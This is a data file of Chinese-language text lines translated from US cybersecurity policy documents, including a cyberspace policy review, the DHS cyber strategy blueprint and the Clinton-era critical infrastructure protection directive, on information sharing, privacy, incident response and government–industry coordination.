    {"text": "互联网由管理运作和为客户提供服务的企业联合运营。 网络运营商建立和维护信息通信基础设施，为客户提供接入和宽带服务。 服务提供商提供互联网接入网关、安全服务、存储或处理服务，以及信息的获取（如互联网地址或新闻）和应用设备（如搜索引擎）。"},
    {"text": "联邦政府应与州、地方和原住民保留地政府及业界合作，总结一系列威胁情况和衡量指标，以供风险管理决策、制定恢复计划及确定研发优先顺序。"},
    {"text": "信息和通信设施联合部门委员会应在各部门和机构中建立明晰、可执行的事件即时汇报规则，以便提高机构间响应的效率。 各部门和机构在各自管辖范围外的事件汇报存在差异，其对重大事件的即时汇报将使联邦的整体应急响应受益。"},
    {"text": "● 审议国家网络安全中心的运作理念及其实施，决定该中心关于责任、资源战略和管理的提议是否充分，使其能够提供支持网络事故响应努力所必需的态势感知共享信息。"},
    {"text": "● 为了联邦网络的利益，适当评估并与公民自由和隐私团体继续协商进行入侵检测和防御系统的试点部署工作，评估这些系统的性能，并且继续研究若将这些系统应用到州政府系统中会产生的问题。"},
    {"text": "联邦网络安全中心经常分享彼此的信息，但其中没有一家机构可以将来自不同中心和其他资源处得到的所有信息综合起来，制成一张不断更新且涵盖网络威胁和网络状况的全局图，以预报迫在眉睫的应急事故，以及支持协调事故响应。"},
    {"text": "联邦政府应与州、地方和原住民保留地政府及民营部门（包括数据拥有者、网络运营商及隐私和公民自由专家）合作，寻求网络安全方面的信息共享方案，消除有关隐私和专有信息的担忧，使信息共享符合国家的利益，达到互利的目的。"},
    {"text": "鉴于民营企业关心其信息的潜在使用问题，政府必须保障其隐私权，做到执法公正，保护情报来源和方法，以及可能导致不公平竞争优势的政府信息。"},
    {"text": "设立一个政府和民营部门都信任的第三方非营利性非政府组织，作为政府和民营部门共享信息的平台，以此提高政府和民营部门之间的关键网络安全性。"},
    {"text": "联邦政府（如执法机构）与个体公司或公司集团（可能还有州、地方和原住民保留地政府的参与）之间持续的约束，在特定的部门或区域内实现一定程度自愿性的信息共享，超越在更广泛的背景下实现的信息共享。"},
    {"text": "作为最后的手段，这些措施可包括综合方案中的监管措施，以满足社会对健全和具有韧性的关键基础设施的利益需求，保障公民自由和隐私权，维护作为美国经济系统基础的、公正公开的经济市场。"},
    {"text": "联邦政府应全面评估妨碍网络安全信息共享的有关安全分级和人员涉密等方面的政策，同时寻求信息共享改善方案，并确保公民自由和隐私权得到保障，敏感信息得到适宜的保护。"},
    {"text": "联邦政府各部门和机构当前关于信息收集、使用、保留和散布的政策在很大程度上都是基于法定权限、对隐私和公民自由的关注、对来源和方法的担心以及历史惯例而来的。"},
    {"text": "此次评估应将联邦政府通过安全性和适用性改革倡议所取得的进展考虑在内，同时也要考虑信息共享环境在检查安全和适用性处理组件的所有方面时所做出的努力。"},
    {"text": "联邦政府应努力扩大与主要盟友在网络事件和漏洞方面的信息共享，寻求改善网络安全的双边或多边安排，并确保这些安排符合美国其他方面的经济和安全利益，使公民自由和隐私权得到保障。"},
    {"text": "民营部门和联邦政府再次需要做到明晰和诚信，以控制、散发和使用民营部门与政府共享的信息，包括对使用美国和国际社会之间共享信息的理解。"},
    {"text": "（三）提高所有基础设施的网络安全性 联邦政府应与民营部门合作，明确政府与民间伙伴关系的职能，以做好私有关键基础设施和重要资源的防御工作。 联邦政府的核心责任之一即是共同保护私有关键基础设施不受武装攻击、物理入侵或国外军事力量、国际恐怖分子的破坏。"},
    {"text": "然而，若攻击是通过计算机网络远程进行而非直接的物理行为，那么政府应对相同行为人，对相同基础设施施加的相同损害负多大程度的责任，这个问题尚未解决。"},
    {"text": "大多数网络运营商和服务提供商都将自身网络的维护和防御工作归为自己的责任，但民营部门的重要组织已表示，业界希望形成一个工作框架，在此框架下政府将追捕恶意行为人，为民营部门运营商提供信息和技术支持，帮助民营部门保护自身网络。"},
    {"text": "可能的激励措施包括调整法律责任（安全改善后责任减少，安全条件差则导致责任增加）、补充赔偿、税收鼓励政策，以及新的监管规定和执行机制。"},
    {"text": "总统网络安全政策官应与各级政府、民营部门及国际伙伴合作，制定战略和计划，鼓励创新型网络安全解决方案，确保基础设施系统的安全和韧性。"},
    {"text": "政府应协助世界银行、国际货币基金组织等国际金融机构，向其提供必要的信息、工具及专业知识，并鼓励其运用最佳准则来保护自身的信息系统。"},
    {"text": "另外，随着新的智能网技术在美国的普及，联邦政府需要制定和通过相应的安全标准，以避免为对手制造可乘之机，侵入上述系统或对其发动大规模攻击。"},
    {"text": "交通部检察长于2009年3月18日在众议院航空交通和基础设施小组委员会上作证时称，需要评估潜在的安全漏洞，制定一套健全的网络安全战略和设计方案。"},
    {"text": "除了对本身信息的保护，减轻网络空间风险的战略必须侧重于访问基础设施的设备、基础设施提供的服务、网络的支持要素，以及所有用于移动、存储和处理信息的手段。"},
    {"text": "这一战略还必须包括预防、减缓和应对针对运营并受益于基础设施的人员所遭受的威胁或破坏，运营或利用基础设施的程序，以及用于建造并维护基础设施的供应链。"},
    {"text": "总统已呼吁联邦政府同业界保持合作，共同开发“下一代的安全计算机和应用于国家安全的网络互连”，制定“新的、严格的网络安全与物理恢复力新标准”，以及“保护个人数据的标准”。"},
    {"text": "虽然市场上早就存在着许多可以明显增强安全性的技术和网络管理的解决方案，但由于成本或复杂的原因，这些技术和解决方案并没有得到广泛的使用。"},
    {"text": "（一）未来 2006年的国家研究院报告《振兴美国的通信研究》指出：“通信网络是庞大、复杂的系统，其可靠性、安全性及演化性取决于连贯的、构思良好的架构概念的发展。"},
    {"text": "联邦政府、民营部门及其他利益攸关方应共同制定未来基础设施的技术中立的性能和安全目标，既满足其作为消费者的自身需求，同时又发挥其作为公众利益管理人的作用。"},
    {"text": "跨越司法管辖边界的数据移动带来了以下三方面的挑战：法律执行、不同国家分别制定的隐私与公民自由保护，以及出现数据或网络漏洞时的决策责任。"},
    {"text": "这一计划期望达到的目标是，截至2015年，“将实现关键应用控制系统的设计、安装、运作和维护，以便能够承受蓄意的网络攻击，同时不会丧失重要的功能”。"},
    {"text": "国防部先期研究计划局的顾问小组把对当前基于《互联网协议》的网络防御称为一项亏本的买卖，呼吁“对可供选择的基础设施进行单独的考察”，从而完成对最佳候选基础设施的实验与评估。"},
    {"text": "研发框架与基础设施开发的结合在总统网络安全政策官的领导下，联邦政府应与其他的总统办事机构部门及信息和通信设施联合部门委员会进行合作，提供研究与开发战略——专注于可以实现基础设施目标的、具有变革意义的技术框架，进一步完善当前的网络和信息技术研发战略及其他与研发相关的工作。"},
    {"text": "联邦政府应扩大这些战略同业界与学术研究努力的协调，以便避免重复性的工作，利用具有互补性的功能和议事日程并使之同步，并且确保实现该技术换代并进入市场。 为了提高美国的竞争力，联邦政府应与业界合作，共同制定换代路径和刺激措施以便快速促进研究与技术开发，包括鼓励学术界与业界实验室之间的协作。"},
    {"text": "联邦政府应与业界及公民自由与隐私社团合作，共同制定一个基于网络安全的国家身份管理构想与战略，为此需要考察一系列的方法，包括提高隐私水平的技术。"},
    {"text": "对于高附加值的业务（如智能电网），国家应该建立一系列可以选择加入的、能够相互配合的身份管理系统，以便为在线交易建立信任并提高隐私水平。"},
    {"text": "国家科学技术委员会下设的生物测定和身份管理附属委员会于 2008 年发布了一项报告，该报告提供了一个未来联邦身份管理构想以及一系列的研究与开发建议。"},
    {"text": "联邦政府应与国际伙伴进行合作，共同制定相关的政策，鼓励发展可以信任的全球体系，这种系统需要保护隐私权和公民自由并控制旨在保护公民与基础设施的法律实施活动的适当利用。"},
    {"text": "联邦政府还应考虑让以下两方在国家紧急状态期间也能够使用联邦身份管理系统：重要基础设施的运营商，以及民营部门紧急响应与维修服务提供商。"},
    {"text": "（三）全球化政策与供应链的整合 信息技术革命及自由贸易政策带来的结果之一，是为在全球范围内分布有设备设施的公司建立了一个全球性的环境，用于其信息与通信产品的研究、设计、制造与服务。"},
    {"text": "国外制造的确会给民族国家的对手带来更加容易的破坏产品的机会，但是，通过招募重要的内线人员或其他的间谍活动，也可以实现同样的目标。"},
    {"text": "● 以国家安全局为国防部所做的工作为基础，通过综合服务管理局制定商业产品与服务的采购战略，以便建立市场激励机制，使安全成为硬件与软件产品设计、新的安全技术及安全的托管服务的一部分。"},
    {"text": "《1934年通信法》授权在国家处于从“公共危险”到“战争”的不同警戒等级时，如果总统认为有必要维护国家安全或防御并且存在必要的临界条件，他可以运用、控制或者中止联邦通信委员会管辖下的通信服务、系统和网络。"},
    {"text": "第12472号行政命令要求建立一个政府和业界联合的国家协调中心，以便为通信服务或设施在所有危机或紧急情况下的启动、协调、恢复或重建提供帮助。"},
    {"text": "关于“国家连续性政策”（2007年5月4日）的国家安全第51号总统令暨国土安全第20号总统令在联邦政府内对有关连续性通信的职责进行了分配。"},
    {"text": "国土安全部正在努力朝着这一目标前进：帮助国家安全和紧急状况用户提供下一代网络的聚合信息服务，并确保在各种灾难及其他会致使公众用户遭受通信服务严重恶化或中断的事件期间，其所提供的服务具有极大成功的可能性。"},
    {"text": "提供联邦政府可以获取的附加服务的选择，或者引导政府将用在信息与通信基础设施上的投资用于提高在自然灾害、危机或冲突时期通信设施的存活性；"},
    {"text": "（9）与总统办事机构其他部门合作，制定一个研究和发展战略的框架，侧重于发展有助于提高数字基础设施安全性、可靠性、韧性和可信度的革命性技术；"},
    {"text": "（10）扩大与重要同盟之间有关网络事故和弱点的信息共享，并寻求双边和多边安排，这种安排将可以在提高经济与安全利益的同时，保护公民自由和隐私权。"},
    {"text": "（13）对于高附加值的业务（如智能电网），建立一系列可以选择加入的、能够相互配合的身份管理系统，以便为在线交易建立信任并提高隐私水平。"},
    {"text": "确保未来网络安全的蓝图：国土安全相关实体网络安全战略 一、部长致辞 我很高兴公布《确保未来网络安全的蓝图：国土安全相关实体网络安全战略》报告。"},
    {"text": "我们致力于建设的网络具有以下作用：推动创新和繁荣，推进经济利益和国家安全，并将保护个人公民自由、隐私权纳入美国国土安全部的网络活动当中。"},
    {"text": "维护网络安全人人有责，我们每个人都有责任在这方面发挥作用。 网络安全威胁日益严峻，需要整个社会——包括政府执法部门、民营企业乃至公众参与维护网络安全。 当前，美国面临多层次的网络安全威胁。 构成网络安全威胁的主体既有黑客和有组织犯罪团体，也有拥有先进技术的国家。 个人和组织严密的团体利用网络薄弱环节盗取美国的知识产权、个人信息及金融数据。 网络窃密技术日益先进以及网络安全事件不断增多，对我们的经济竞争力构成了潜在威胁，并削弱了公众获得基本网络服务的能力。"},
    {"text": "国土安全部还与联邦政府各个部门密切协同，完善这一报告，并确保报告与2010年《国家安全战略》、《网络空间行动战略》以及《网络空间国际战略》保持一致。"},
    {"text": "三、引言 根据2010年《四年国土安全评估报告》制定的战略框架，国土安全相关实体实施行动的共同目标是确保美国本土的安全，并有能力抵御恐怖主义及其他危险。 为实现这一目标，《四年国土安全评估报告》明确提出了5 项核心任务，其中重点强调了网络安全对国家的重要性。"},
    {"text": "《四年国土安全评估报告》将网络空间安全确定为核心任务的依据是总统发布的《国家安全战略》，该报告内容包括： ● 宣布数字基础设施是国家的战略资产；"},
    {"text": "国土安全部发布《确保未来网络安全的蓝图》的目的，是为国土安全相关实体落实《国家安全战略》相关内容和实现《四年国土安全评估报告》提出的目标提供一套明确的行动计划：建立安全和有抗压能力的网络环境，推广网络安全知识和推进网络安全技术创新。"},
    {"text": "（一）范围 2002年《国土安全法》、第7号国土安全总统行政令、第54号国家安全总统行政令及2002 年《联邦信息安全管理法》等文件指出，国土安全部在联邦各部门中负责牵头实施以下任务：保护联邦政府文职部门的信息和通信系统，与相关部门和企业合作保护关键基础设施，与各级政府合作保护其信息系统。 “国家基础设施保护计划”、“国家快速反应框架”等文件描述了国土安全部及其他联邦政府部门在确认和保护国家关键基础设施中的作用。"},
    {"text": "从上述内容看，本报告旨在向国土安全相关实体提供实际和有意义的指导，使其能够确保网络空间的安全，并使所有希望能安全使用信息及通信技术的人受益。 （二）与其他重要政策和战略的关系 本报告支持以“政府一盘棋”的方式维护国家安全，并在制定过程中充分考虑了当前的国家网络空间战略和政策，其中包括：《网络空间政策评估》、《网络空间国际战略》、《打击跨国有组织犯罪战略》、《综合国家网络安全倡议》、第7号国土安全总统行政令、第54号国家安全总统行政令、《网络空间可信任身份国家战略》及《国防部网络空间行动战略》。"},
    {"text": "保卫和控制网络空间隶属国土安全工作的范畴，是因为可能导致严重后果的大规模网络事件将损害公共和私有部门的重要功能与服务，影响我们的国家安全、经济活力及公共健康和安全。"},
    {"text": "大型企业、小企业和非营利组织面临着技术日益复杂的入侵行为，其对象主要是上述机构的消费者和客户的知识产权及个人信息。 消费者面临的风险通常是个人信息被盗，入侵者主要通过互联网上无数的站点实施未经授权的入侵行为。"},
    {"text": "（四）战略预想 尽管我们无法预测未来网络空间的具体情形，但我们必须制定一套充分掌握正在塑造未来网络空间的各种力量要素的相关战略，以确保美国拥有在网络空间中的领导、影响和应变能力。"},
    {"text": "社会、经济和产业领域对信息和通信技术的依赖不断加深，不仅有助于提高生产力和促进创新，而且增加了网络用户群、扩展了网络技术设施以及需要保护的网络路径。"},
    {"text": "相关部门应制定一套基于风险的应对方案，使之能够随时进行调整、重点关注网络输出和运行情况、提高用户应对能力、促进创新和符合投入产出比原则。"},
    {"text": "为使我们的下一代发挥出信息革命的全部潜力，国土安全相关实体必须确保建立可靠、安全和具有抗压能力的网络空间，同时提升网络安全意识和创新能力。"},
    {"text": "未来，管控能源、交通运输、化工和关键制造业等关键基础设施部门的工业系统和控制系统，以及运行在各类医疗设备、交通工具和其他领域中的嵌入式系统，均能更好地抵御各类可能危害公共安全的网络破坏和攻击行为。"},
    {"text": "（五）一个促进经济利益和国家安全的网络空间 增强美国的经济竞争力和国防安全。 未来，安全、可靠的网络空间将为美国经济增加动力，使美国继续保持经济强国地位。"},
    {"text": "安全的网络空间能够支持国民经济有效运行，也可支持各类关键社会服务的开展。 健康的网络空间还有利于国土安全部完成其他任务：预防恐怖主义，维护边境安全，执行移民法，以及从事故灾难中迅速恢复。 最后，通过同美国国防部合作，这一安全的网络空间将支持美国政府履行其保护国家安全的关键使命。"},
    {"text": "在确定网络空间中的关键系统及资产和必须应对的最主要风险的过程中，国土安全相关实体必须与他们分享见解。 国土安全相关实体将区分网络空间安全行动的轻重缓急，以确保将资源持续地用于可最大程度降低风险的领域。"},
    {"text": "这一革命性的改变将通过提高个人维护网络安全的能力，研发和使用更为可靠的网络协议、服务和产品，加强相关部门在维护网络安全方面的协作，以及建立透明的工作流程等方式实现。"},
    {"text": "1.保护关键信息 基础设施在面临最严峻的威胁时，基于效果的衡量标准如果能够证实关键信息基础设施的所有者和经营者能够妥善管理风险，信息基础设施能够确保安全，即认为关键信息基础设施得到了切实有效的保护。"},
    {"text": "（三）如何保护关键信息基础设施 确保国家关键信息基础设施的安全，需要联邦政府各个部门和机构之间的多边合作，也需要联邦政府、州和地方政府、非政府组织和民营部门之间的业务合作。"},
    {"text": "报告描述了国土安全部如何根据第7号国土安全总统行政令、第54号国家安全总统行政令及2002年《联邦信息安全管理法》，与合作伙伴共同采取防范措施。"},
    {"text": "● 确定需要应对的具体网络安全风险。 ● 评估并确定应对上述风险的标准化程序。 ● 要求相关实体完善维护网络安全的计划，确定应对上述网络安全风险的方法。 ● 建立第三方评估机制，评估相关实体在管理和应对网络安全风险方面的效能。"},
    {"text": "国土安全部支持通过修正《联邦信息安全管理法》，使国土安全部担负起联邦文职行政部门信息安全的主要责任，这将赋予国土安全部以下权力。"},
    {"text": "1.减少网络安全风险 1）规避威胁 通过持续运用国土安全部国家网络安全保护系统，削弱国内外罪犯利用、损害、瘫痪或摧毁关键信息基础设施的能力。"},
    {"text": "信息共享论坛、分析中心、工作小组、提供合作的门户网站、简报及其他机制的运行，有利于国土安全相关实体中的利益攸关方进行威胁信息的分发和交换。"},
    {"text": "● 将网络安全事件报告的指导方针和激励措施发放至适当的机构和个人，包括网络安全专家和各级政府，以及联邦执法部门和突发事件反应中心。"},
    {"text": "● 确定在受到干扰、破坏或毁坏的情况下，最有可能对国家安全、经济安全和公共健康或安全造成影响的关键信息基础设施，其中包括网络互连节点、域名系统、卫星地面站、电缆平台、工业和监控系统、关键商业或交通系统和其他支持关键功能和服务的系统。"},
    {"text": "在系统、组织、部门、区域、国家和国际层面的威胁评估将帮助公共和民营部门的相关实体了解其面临的风险，从而使其能确定优先行动领域以降低风险和进行投资。"},
    {"text": "联邦网络和信息技术研究与开发计划列出了以下研究重点：“内置式安全措施”、“定制可信的网络空间”、“移动目标”及“网络经济激励措施”。"},
    {"text": "2.快速应对网络安全事件、提高网络恢复能力 1）鼓励相关实体优先采取行动 重大网络安全事件威胁公共安全，削弱公众信心，影响国民经济和国家安全。 因此，一旦发生重大网络安全事件，相关实体应采取联合行动，迅速做出反应，恢复网络安全。"},
    {"text": "当网络安全事件发生时，应通过国家网络安全和通信中心等负责监视和预警的部门，协调有关部门，搜集与汇总网络安全事件的信息，协调联邦、州、地方政府部门以及民营机构和国际伙伴的行动，以及时和准确地查明、报告、分析网络安全事件并做出反应。"},
    {"text": "为了迅速重建关键信息基础设施，国土安全相关实体需要建立强大的伙伴关系，包括与第一批做出反应的相关实体密切合作，以及在必要时政府或民营部门的专家提供远程或现场技术帮助。"},
    {"text": "联邦调查局领导的国家网络调查联合特别工作组就是专门从事网络威胁调查和分析的跨部门机构，它具有扭转攻击造成的被动局面、确定攻击者的数字和物理特征等能力。"},
    {"text": "运用商业网站、与软硬件和网络服务供应商达成协议等手段，并综合考虑设施、人员、装备、软件、数据文件和系统构件的基本情况，进行整体规划。"},
    {"text": "该系统由人和传感器组成，可根据特定网络安全相关实体的需要搜集并实时交换信息，这些信息主要涉及网络威胁、弱点、后果、预警和反制措施的信息。"},
    {"text": "这些伙伴包括同类和相互依赖的组织、政府机构和企业，将它们联系在一起的机构是降低风险联合中心、特定部门信息共享和分析中心、部门协调委员会、安全和网络行动中心、计算机事件反应小组。"},
    {"text": "美国政府与各利益攸关方通过以下平台交换网络预警信息，如美国计算机应急小组预警系统、国防部网络态势预警系统、联邦调查局初级防护项目、美国特勤局电子犯罪特别小组、国家标准和技术数据研究所等。"},
    {"text": "该平台无论在平时，还是在发生重大网络事件时，均能向各利益攸关方持续分发网络威胁的特征、标识、弱点等信息，并提供应对威胁的具体方案。"},
    {"text": "例如，减少多路通信过程中可能出现的单点阻塞，在正常状态下快速存储，出现错误时立即实行隔离并遏制扩散，建立恢复模式以最大限度减少损失。"},
    {"text": "● 与现有恢复能力标准和指导原则保持一致，包括符合美国国家标准与技术研究所出版的《信息技术系统的应急计划指导》、国际标准化与国际电子技术委员会颁布的《信息技术安全技能：信息与通信技术长期规划指针》的相关要求。"},
    {"text": "这需要我们增强个人与组织安全使用网络的能力，开发和使用值得信赖的协议、产品、服务、配置及架构，建设合作型网络社区以及确保进程透明。"},
    {"text": "1.增强个人和组织安全使用网络的能力 1）增加公共与民营部门的网络从业人员 维持一支强大的网络安全专业队伍，其工作是开发和应用网络安全技术，以确保消除当前及未来的威胁。"},
    {"text": "美国国家网络安全教育机构将推出正式的网络安全教育项目，通过设立从幼儿园开始的 12 级技能培训、更高等级的教育与职业项目等方式，提高相关人员的技术水平。"},
    {"text": "2）为分布式安全建立基础 向个人提供与其身份相符的资源，如工具、建议、教育、培训等，使其能依据当前网络安全特性及协议、产品与服务情况维护各自网络安全。"},
    {"text": "● 在国家、社区及机构三个层面开展网络安全活动，为特定人群提供建议、资源、工具，帮助其理解网络安全威胁，并在加强网络生态系统建设方面发挥各自作用。"},
    {"text": "这些活动在联邦、州、市、县、印第安人保留地及海外领土等各个层级展开，包括国土安全部的“停一停、想一想、再上网”活动、“国家网络安全意识月”等。"},
    {"text": "2.开发并使用可信的网络协议、产品、服务、配置与架构 1）降低脆弱性 开发并应用专门用于减少漏洞的信息与通信技术，该技术能通过维持或强化系统安全态势，及时感知、应对及输送系统内部及周边系统安全态势所出现的变化。"},
    {"text": "● 加强网络管理，包括改进体系设计、基于用户的设计、基于政策的邮件路由和储备、确保内部关联和避免相互干扰、提高系统兼容性以及管理方法。"},
    {"text": "该工作借助有关重要信息要素的标准化参考文件展开，内容包括确认软件脆弱性、薄弱环节、网络攻击范式、恶意软件分类以及传输的安全内容，而后者是依据自动分享原则设置的。"},
    {"text": "● 建立统一的界面标准，以使诸如公共关键密码系统标准、无线电频率识别器空中界面标准和数据格式标准能够实现技术兼容，实现辨别指纹、面部和其他生物特征信息。"},
    {"text": "3）自动化安全步骤 以接近实时反应的方式，通过自动化机制，预测和防止攻击事件，缩小事件在联网各设备之间的传播，将事件危害降至最低水平。"},
    {"text": "4.建立透明的安全流程 1）公布网络空间的突发事件及原因 像卫生官员向公众通报健康和疾病信息一样，向公众提供翔实的网络空间安全威胁信息，核实当前和未来网络地址（如.gov、.com和.edu）中攻击事件发生的位置，了解其原因、范围和影响。"},
    {"text": "● 向国土安全相关实体和国际伙伴分发有关网络协议、产品、服务、配置、设计、供应链和组织流程的安全绩效信息，以遏制网络危险的传播和影响。"},
    {"text": "3）关注投资回报 评估网络安全投资对组织机构的影响，集中于运行成本、基本建设预算、业务灵活性，以及因数据侵权或未能履行服务协议而支付的赔偿支出。"},
    {"text": "● 设定希望达成的目标和成果并积极采取行动，以使国土安全相关实体能明确其任务要求。 ● 提出支持国土安全相关各方目标的需求、指导原则、政策方针、步骤流程和自愿性的行动守则。"},
    {"text": "这一战略明确阐述了实现国家安全战略构想及《四年国土安全评估报告》目标的方式，即建立可靠、安全和具有恢复能力的网络环境，推广网络安全知识和创新。"},
    {"text": "国土安全部将与国土安全相关实体中的利益攸关方合作，共同制定一份能够合理安排行动、设定关键转折点和跟踪进程的实施计划，用以建设该战略所需的各种能力。"},
    {"text": "总统令篇 克林顿政府关于关键基础设施保护的白皮书 这份白皮书阐述了克林顿政府关键基础设施保护政策的核心要素，将适用于包括公共和民营部门的所有利益相关方，也将用于如国防大学和国家外交事务培训中心等美国政府职业教育机构以指导跨部门的课程及训练。"},
    {"text": "一、日益增加的潜在漏洞 美国的经济实力和军事实力在全球首屈一指，这两方面是相辅相成的，并且越来越依赖特定的关键基础设施和网络信息系统。"},
    {"text": "关键基础设施是指完成经济和政府行为必需的基本物理网络系统和资产，主要包括政府和民营部门的通信、能源、银行和金融、交通、供水系统，以及应急服务系统。"},
    {"text": "由于军事实力强大，未来的敌人，包括国家、组织或者个人，将会寻求用非传统的方式对美国发起攻击，包括在美国境内的攻击。 美国的经济越来越依赖于相互依存的以网络为支撑的基础设施，对我们的基础设施和信息系统的非传统攻击将严重危害到我们的军事力量和经济发展。"},
    {"text": "四、建立政府与民间的合作关系以减少漏洞 由于经济部门和政府的关键基础设施极易成为攻击目标，因此，消除潜在漏洞需要政府与民间部门紧密配合，共同努力，相互信赖，相互合作。"},
    {"text": "对于每一个可导致主要经济行业的基础设施受攻击的漏洞，联邦政府都将从主管部门委派一名高级政府官员作为部门联络员，与民营部门开展合作。"},
    {"text": "在这一保障计划的筹备阶段，国家协调员应与政府的部门联络员以及国家经济委员会的一名代表共同确保各部门计划的整体协调和整合，要特别关注各部门的相互联系。"},
    {"text": "● 由于威胁关键基础设施的技术和特点发展迅速，应该对关键基础设施的当前可靠性、脆弱性和威胁环境进行频繁评估，因此，我们的保护响应和措施必须具有很强的适应性。"},
    {"text": "在这种情况下，政府机构将确定和评估可以采用哪种备用方案进行直接监管，包括采用经济刺激鼓励期望行为，或者通过民营部门提供可供选择的信息。"},
    {"text": "这些激励措施以及其他举措，旨在促进采用最新技术，使用全球化的解决方法应对国际化问题，并使民营部门的所有者和运营商拥有并保持最佳的切实可行的安保措施。"},
    {"text": "为此，应鼓励民营部门的所有者和运营商为其控制的基础设施提供最佳的切实可行的安全措施，并向政府提供必要的信息以评估其任务的完成情况。"},
    {"text": "● 与州和地方政府以及应急人员紧密配合，对一个强大灵活的基础设施保护方案来说必不可少。 所有的关键基础设施保护计划和举措都应当考虑到州和地方政府以及应急人员的需求、行动和责任。"},
    {"text": "（一）负责部门联络的领导机构 每一个可能会遭受重大网络攻击或者武力攻击的基础设施部门，都会有一个单独的美国政府部门作为其领导机构负责部门联络。"},
    {"text": "每一个领导机构将设立一个助理国务卿级别或者更高级别的部门联络官负责，并与该领域的民营部门代表（部门协调员）在解决涉及关键基础设施保护问题方面开展合作，特别是关于《国家基础设施保护计划》中的推荐部分。"},
    {"text": "（三）跨部门的协调 在关键基础设施协调组（CICG）的帮助下和负责安全、基础设施保护及反恐的国家协调员的主持下，“部门联络官”和“职能部门协调员”以及其他相关部门和机构的代表，包括美国国家经济委员会负责协调该总统令的实施。"},
    {"text": "（四）国家基础设施保障委员会 按照领导机构、国家经济委员会和国家协调员的推荐，总统将组建一个专家组，由主要基础设施提供商、州和地方政府官员组成，为国家基础设施保障委员会服务。"},
    {"text": "各部、局的首席信息官（CIO）有义务保障信息安全。 各部、局都要设立一名首席基础设施保障官（CIAO），负责该部门关键基础设施所有其他方面的保护。 根据各自部门的具体情况，CIO可兼任CIAO。"},
    {"text": "（一）漏洞分析 每一个经济部门和政府部门的基础设施都有可能成为将对美国造成重大损失的攻击目标，因此，应进行初始漏洞评估并定期更新。"},
    {"text": "（六）教育与宣传 针对政府和民营部门设立安全漏洞的宣传和教育项目，以提高工作人员对安全的重视程度，并培训他们遵守安全标准，特别是网络系统安全。"},
    {"text": "（七）研究和开发 联邦政府出资的对基础设施保护的研究应与多年计划一致并服从于多年计划，同时要考虑民营部门的研究，并投入足够的资金，以尽快减少漏洞。"},
    {"text": "（八）情报 情报机构应制定并实施一项计划，加强对国外威胁我国基础设施的情报的收集和分析，应包括但不局限于外国网络战或信息战的威胁信息。"},
    {"text": "九、实施 除了这份180天内提交的报告，国家协调员会同国家经济委员会，将通过负责国家安全事务的总统助理向总统和各部、局的负责人提供一份该总统令的年度实施报告。"},
    {"text": "虽然商务部是信息和通信事务的领导机构，但国防部仍保留对全国通信系统（NCS）的行政代理责任并为国家安全通信咨询委员会（President’s National Security Telecommunications Advisory Committee）提供支持。"},
    {"text": "当主管委员会（Principals Committee）或代理委员会（Deputies Committee）讨论有关基础设施问题时，国家协调员也可作为正式成员出席。 尽管国家协调员并不管理某些部门和机构，但他们将确保跨部门协调以推进政策的发展和实施，并将重审有重大外资投入有关基础设施的危机事件。"},
    {"text": "部门联络官（Sector Liaison Official）和特殊职能协调员（Special Function Coordinator）也应参加CICG的会议。 部门和机构须各自任命一位CICG的高级官员（助理部长级别或以上）定期参加会议。"},
    {"text": "（二）预警和信息中心 作为国家预警和信息分享系统的一部分，总统授权美国联邦调查局（FBI）将现有机构扩充成一个覆盖全面的国家基础设施保护中心（NIPC）。"},
    {"text": "在第63 号总统令开始实施的半年至一年中，总统可直接指派国家协调员、部门联络官、部门协调员、特殊职能协调员、国家经济委员会（National Economic Council）的代表与关键基础设施的所有者和工作人员合作，以鼓励下文所述民营部门分享和分析系统的建立。"},
    {"text": "国家基础设施保护中心（NIPC）将包括FBI、美国特勤局（USSS）、在计算机犯罪和基础设施保护方面有经验的学者，以及国防部、情报部门和领导机构的代表。"},
    {"text": "NIPC 联合信息源机构，去除执法信息和情报信息后以适当的格式将其他信息纳入其分析和报告中，提供给相关联邦政府、州和当地机构，关键基础设施的所有者和运营商，以及任一民营部门信息共享和分析实体。"},
    {"text": "无论是经过筛选的信息还是原始报告，NIPC将向共享信息的民营部门、分析实体、基础设施的所有者和运营商发布攻击警报或威胁因素增长预警。"},
    {"text": "根据一个国外威胁和攻击的性质和程度，特殊职能机构（司法部、国防部、美国中央情报局）以及总统的最终决定之间须达成协议，无论是国防部还是其他情报机构，NIPC 都将给予其直接的支持。"},
    {"text": "（三）信息共享和分析中心（ ISAC ） 国家协调员与部门协调员、部门联络官、国家经济会议一起同关键基础设施的所有者和运营商进行协商，以鼓励民营部门创建信息共享和分析中心。"},
    {"text": "该中心可作为一个聚集、分析、适当选取并向工业和NIPC传播民营部门信息的机构。 ISAC 也可将来自 NIPC 的信息进行汇聚、分析并传播至各个民营部门。"},
    {"text": "最终由民营部门所设计的ISAC可能仿效诸如美国疾病控制与预防中心此类机构所证明的行之有效的方面，特别是其在民营部门与非联邦部门广泛的接触上。"},
    {"text": "该机构将基于各种基础设施建立基础统计和模式，成为各个部门内部和之间的信息交换中心，为民营部门、政府以及ISAC所认可的机构提供历史数据库。"},
    {"text": "● 文件和信息分类的必要性和这种分类对有效传播的影响，在利用这些方法和信息系统时应安全分享威胁和脆弱性信息，同时避免泄露或泄露给滥用之人而导致的不可挽回的风险。"},
    {"text": "● 包括安全的传播和信息掌握系统在内的已改善的保护措施不应被泄露，其中含有工业界交易秘密和其他机密商业数据、执法机构信息和证据资料、国家机密安全信息、已披露的有关民营部门基础设施脆弱性的非机密材料以及其他非涉密信息。"},
    {"text": "● 已选中的关键基础设施提供商所强制、资助或协助提供的保险，以及那些希望与美国合作的外国关键基础设施提供商所要求的保险的安全标准的潜在益处。"},
    {"text": "● 召集工程、计算机科学、商业和法律的学者重审信息安全教育的现状，并确认现有课程和资源的变化能满足国家在信息安全领域对于专业人士的需求。"},
    {"text": "（2）美国国家科学院和美国国家工程院应与工业界相关的联邦政府机构、州和地方官员以及学术带头人展开圆桌会议，以发展提升关键基础设施安全性的国家策略。"},
    {"text": "● GSA应对与基础设施保障相关的大型采购（如新的联邦通信系统FTS2000）予以确认，研究该项采购是否反映基础设施保护的重要性，必要时应提出建议修改整个采购过程。"},
    {"text": "● 负责落实 NSD-42（美国国家安全电信和信息系统安全的国家政策）的美国国家安全局（NSA），应负责美国政府系统进行拦截和开发的测试评估，发布威胁和脆弱性信息，建立标准，进行实验和开发，以及对有问题的安全产品进行评估。"},
    {"text": "● 司法部和财政部应发起一项综合性的研究以统计计算机犯罪人员，与他国遏制计算机犯罪方法进行比较，并找到对青少年计算机犯罪进行遏制和解决的方法。"},
